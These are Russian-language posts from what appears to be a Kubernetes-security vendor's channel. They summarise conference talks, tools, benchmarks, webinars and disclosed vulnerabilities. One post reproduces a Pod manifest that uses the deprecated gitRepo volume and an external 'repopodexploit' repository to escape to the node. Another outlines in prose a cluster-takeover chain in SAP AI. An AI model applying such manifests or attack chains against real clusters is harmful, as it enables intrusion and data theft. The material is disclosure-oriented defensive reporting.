26-27 июня прошел CloudNativeSecurityCon North America 2024. Большая часть слайдов с конференции уже доступна в разделе расписания. На мой взгляд это конференциям прям удалась по контенту - очень много всего интересного. За изучением материала провел практически все выходные) В этот раз даже не будем выделять какие-то презентации иначе их будет около 15!

Если попытаться выделить какие-то основные трендовые мысли, то получится примерно следующее:
- Вектор развития на ZeroTrust как с точки зрения сети, так и работы самих приложений
- Безопасность AI/ML приложений и инфраструктур
- Закрепление неэффективности сигнатурных подходов детектирование и переход к поведенческим
- Важность сборов артефактов для расследования инцидентов в контейнерах
- Прямолинейный ориентир на количество CVE не дает никакой пользы
- Развитие Supply Chain Security за пределы классического SBOM в сторону Dynamic SBOM, VEX, моделей поведения

P.S. Подсвечу всё-таки один доклад - "User Namespaces in Kubernetes: Security and Flexibility", который является идейным близнецом моего доклада "Linux user namespace в чертогах Kubernetes" с нашего БеКон 2024 ;)

Относительно недавно Open Container Initiative (OCI) community представило новую версию OCI Image Spec v1.1.0. Одно из ключевых изменений в этой версии спецификации это добавление поддержки metadata artifacts.

В artifacts можно хранить любую metadata, асоциированную с OCI image, а это – SBOM, signatures, attestations и vulnerability scanning reports. Помимо этого, в artifacts можно указать так называемаем non-containers artifacts: Helm Charts, Kubernetes manifest files, WASM modules, OPA bundles, Bicep files.

P.S. – Azure Container Registry уже поддерживает OCI Image Spec v1.1.0.

Проект camblet это Kernel Space Access Control для Zero Trust Networking для организации fine-grained, zero-trust для идентификации нагрузок и контроля доступа, именно:
- аутентификации
- авторизации
- шифрования

Взаимодействия между нагрузками, которые могут быть запущены как в Kubernetes, так и просто на хосте вне контейнера!

Инструмент был представлен в рамках доклада "Leveraging the Linux Kernel for Building a Zero-Trust Environment Without a Service Mesh" на прошедшей CloudNativeSecurityCon North America 2024.

Пока проект, конечно, больше выглядит как PoC, но сам подход к реализации через ядро Linux, без sidecar очень интересен)

В теме этого хотелось бы также напомнить про замечательный доклад "Все ли Service Mesh одинаковы полезны для ИБ?" от Максима Чудновского с БеКон 2024.

16 июля в 11:00 наша команда Luntry проведет webinar на тему «Ловим злоумышленников и собираем улики в контейнерах Kubernetes».

Там мы рассмотрим следующие темы:

– способы обнаружения злоумышленника в контейнерных окружениях;
– какие подходы могут эффективно помочь в расследовании и реагировании на инциденты;
– возможности Luntry, полезные для Incident Response: собрать артефакты для расследования и остановить злоумышленника.

Регистрация на вебинар по ссылке.

В конце апреля вышла новая версия CIS Kubernetes Benchmark под номером 1.9 для Kubernetes 1.27 – 1.29. Особо критических изменений в бенчмарке не было (их можно посмотреть в конце документа в разделе appendix):

- автоматизировали проверки с 5.1.1 по 5.1.6
- в пунктах 1.1.13 и 1.1.14 были изменены названия (появился super-admin.conf – об этом мы рассказывали в одном из предыдущих постов)

Конечно всякие Open Source инструменты, вроде kube-bench, уже обновили свои конфиги и поддерживают версию 1.9. Однако не стоит забывать о том, что такие инструменты не показывают полной и объективной картины происходящего на предмет соответствия кластера по CIS. Об этом кстати мы рассказывали в одном из прошлых вебинаров – "Соответствует ли ваш Kubernetes-кластер лучшим практикам?"

Некоторое время назад мы уже писали про Cloud Threat Landscape и вот он обновился и там появился раздел Defenses. В данном разделе собраны защитные меры для противодействиям облачным атакам с кратким описанием и мапингом на D3FEND тактики. В общем, полезная вещь для систематизации своих знаний в данной области)

Наша команда Luntry очень любит тему observability и красивую визуализацию. И данный проект нас не оставил равнодушными!

Речь идёт о проекте VpK, что является акронимом для Visually presented Kubernetes. В данном инструменте есть много и разных способов визуализации ресурсов в кластере! Подробнее о проекте можно узнать из документации. Отдельно обратите внимание на режим Security, который посвящен RBAC (и очень сильно напоминает rbac-tool).

Статья How to create a multi clusters secure supply chain (SLSA 3) in 10min (OSS edition) будет хорошей отправной точкой, если вы хотите построить Supply Chain Security на базе Kubernetes в своей инфраструктуре.

В этой статье представлено пошаговое руководство по созданию собственной безопасной цепочки поставок. Применяя описанные лучшие практики, вы сможете лучше защитить инфраструктуру на базе Kubernetes от потенциальных уязвимостей в приложениях и сохранить их целостность на протяжении всего их жизненного цикла.

P.S. – все материалы используемые в статье доступны в репозитории тут.

P.P.S – вопрос безопасности Supply Chain в Kubernetes мы поднимали в свежем докладе "Механизмы Kubernetes против атак supply chain"

"Advanced Linux Detection and Forensics Cheatsheet" - полезный систематизирующий документ по моментам связанным с обнаружением и расследованием инцидентов в Linux. Вы определенно можете отметить как много всего есть и как много куда надо смотреть в Linux (и от этого даже может заболеть голова). В документе упоминается и ряд моментов связанных с контейнерами и K8s. Но если прям специализироваться и затачиваться под последнее, то на их специфике можно сделать много всего интересного и очень полезного. Об этом мы как раз расскажем и покажем на будущем вебинаре «Ловим злоумышленников и собираем улики в контейнерах Kubernetes».

Исследователь безопасности из Google Imre Rad нашел способ побега из контейнера в Kubernetes через deprecated volumes (начиная с 1.11) – gitRepo. Для эксплуатации необходимо соблюсти три условия: поддержка gitRepo volume type, наличие git бинаря на Node и отсутствие ограничений на использование gitRepo volume type.

Чтобы сбежать из контейнера таким способом, нужно определенным образом сконфигурировать git репозиторий и выставить gitRepo в манифесте:

apiVersion: v1
kind: Pod
metadata:
  name: test-pd
spec:
  containers:
  - image: alpine:latest
    command: ["sleep","86400"]
    name: test-container
    volumeMounts:
    - mountPath: /gitrepo
      name: gitvolume
  volumes:
  - name: gitvolume
    gitRepo:
      directory: g/.git
      repository: https://github.com/raesene/repopodexploit.git
      revision: main

Интересно, что данной проблеме не присвоили CVE, хотя она может привести к побегу из контейнера. Автор, обнаруживший проблему уже закинул PR, фикс стоит ожидать во всех поддерживаемых версиях.

Для того чтобы детальней ознакомиться с техническими подробностями уязвимостями советуем изучить статью Imre Rad – Sneaky write hook: git clone to root on k8s node. Также Rory McCune в статье Fun With GitRepo Volumes показал чего может добиться злоумышленник, используя данную уязвимость

В полку PoliceEngine случилось пополнение и к Kyverno, OPA Gatekeeper, Kubewarden, JSPolicy присоединился Kubelatte! При этом kubelatte это отечественная разработка ребят из СберТех. Данный движок может похвастаться сразу 3 типами политик:
- Мутационными
- Валидационными
- Генерационными

Политики это специальные CRD, где сами правила можно писать с помощью двух синтаксисов:
- rego
- simples (jmespath + regexp)

Подробнее о проекте можно почитать тут или спросить в комментариях к данному посту и авторы проекта ответят ;)

P.S. Проект молодой, но по общению с командой планируются и backgroundscan, и проверка SBOM, и проверка подписи образа!

P.S.S. В Luntry уже есть интеграция с Kyverno, OPA Gatekeeper, а такими темпами и с kubelatte добавим ;)

Стали доступны видео докладов с прошедшей конференции CloudNativeSecurityCon North America 2024. Слайды доступны на сайте конференции.

Определенно рекомендуем ознакомиться с ними.

Читатели нашего канала недавно поделились с нами своей статьей "Threat Detection in the K8s Environment" в которой рассказывают об опыте работы своего SOC в Kubernetes. В статье идет речь про кастомный Tetragon и анализ Kubernetes Audit Log. К правилам/сигнатурам для Tetragon (как и ко всем правилам) есть вопросы, но вот Audit Policy (она полностью приводится в статье и ее можно взять за базу) и сценарии анализа ее результатов очень классные. Единственное, что на наш взгляд тут можно было бы добавить это сочетание использования с PolicyEngine (в статье о данном клаcсе решений ничего не говориться), чтобы предотвратить множество кейсов и не доводить их до расследования вообще.

В общем, очень рекомендуем для изучения (ребята молодцы!), особенно в преддверии нашего сегодняшнего вебинара «Ловим злоумышленников и собираем улики в контейнерах Kubernetes» в 11:00, где мы покажем как, на пример, можно ловить переименования бинарей (для bypass rules) вообще без правил/сигнатур/аномалий и при этом собрать артефакты для forensic ;)

P.S. Если вы написали статью или инструмент по тематике канала, то не стесняйтесь скидывать =)

Если вы занимаетесь пентестами, то наверняка слышали о такой утилите как nuclei. Эта тулза является очень гибким и легко кастомизируемым vulnerability сканером, благодаря templates, которые пишутся на YAML.

Так вот ребята из ProjectDiscovery (авторы тулзы) решили пойти дальше и добавить темплейты для сканирования Kubernetes кластера:

- Deployment Configurations Review
- Network Policies Enforcement
- Pod Security Standards
- Compliance and Configuration Management
- Security Contexts and Roles
- Logging and Monitoring
- Secrets Management
- Vulnerability Scanning and Patch Management

Всё это доступно в темплейтах версии 9.9.0. Естественно их можно кастомизировать – писать кастомные проверки, compliance и прочее.

На нашем сайте в разделе Исследования уже стали доступны и слайды, и видеозапись вебинара "Ловим злоумышленников и собираем улики в контейнерах Kubernetes", который мы проводили вчера. Так что если вы вчера не смогли присутствовать online, то уже есть возможность все изучить в записи!

Там мы рассмотрели:
- способы обнаружения злоумышленника в контейнерных окружениях
- какие подходы смогут эффективно помочь в расследовании и реагировании инцидентов
- возможности Luntry, необходимые для Incident Response

И отдельный таймкод на последнюю часть с live demo.

Как всегда если есть вопросы, то пишите в комментариях.

В блоге BugHunters компании Google вышла статья "Securing the Container World with Policies: acjs and ctrdac", где они представляют общественности два своих инструмента:
1) acjs - PolicyEngine для Kubernetes с возможностью мутационных и валидационных политик на JavaScript.
2) ctrdac - адаптер для первого проекта, чтобы можно было его использовать за пределами Kubernetes c чистыми Docker/containerd.

Первый проект по сути аналог JSPolicy.
Второй проект это по сути OPA с интеграцией с Docker (с containerd не встречали) .

В связи с существующими PolicyEngine для Kubernetes, в сценарий использования этих инструментов там не особо верится, а вот в сценарий вне Kubernetes вполне возможно!

Если у вас Kubernetes кластер на Windows (ну мало ли), то поспешите обновиться, ведь вышла новая CVE-2024-5321: Incorrect permissions on Windows containers logs с оценкой по CVSS – 6.1 (Medium).

Уязвимость позволяет BULTIN\Users читать логи контейнеров, а NT AUTHORITY\Authenticated Users модифицировать логи контейнеров.

Бага затрагивает версии kubelet <= 1.27.15, 1.28.11, 1.29.6, 1.30.3. Необходимые патчи уже выпущены.

В одной из последних версий проекта Sigmа, обновился набор правил касающихся Kubernetes - теперь их там стало 15. Для тех кто не в курсе что такое Sigma, то рассказываем - это Generic Signature Format for SIEM Systems со своей библиотекой правил! Можно использовать проект как по прямому назначению, так и просто подсматривая правила ;)

В общем на заметку специалистам SOC.

Все слайды и видеозаписи докладов с конференции БеКон 2024!

Изучайте, учитесь и делайте свои контейнерные инфраструктуре безопаснее вместе с нами!

SAPwned: SAP AI vulnerabilities expose customers’ cloud environments and private AI artifacts – интересная статья от исследователей из WIZ, в которой они описывают полную цепочку захвата Kubernetes кластера.

Интересно, что изначально пользователи SAP AI могли создавать собственные нагрузки, используя Argo Workflow, но они были строго ограничены по securityContext и сети с помощью Istio.

Но простой трюк со сменой UID на 1337 (об этом мы рассказывали тут) позволил ресерчерам обойти сетевые ограничения, насканить сеть, найти AWS token, получить пользовательские данные из S3 хранилища и захватить кластер целиком через Unauthenticated Helm Tiller.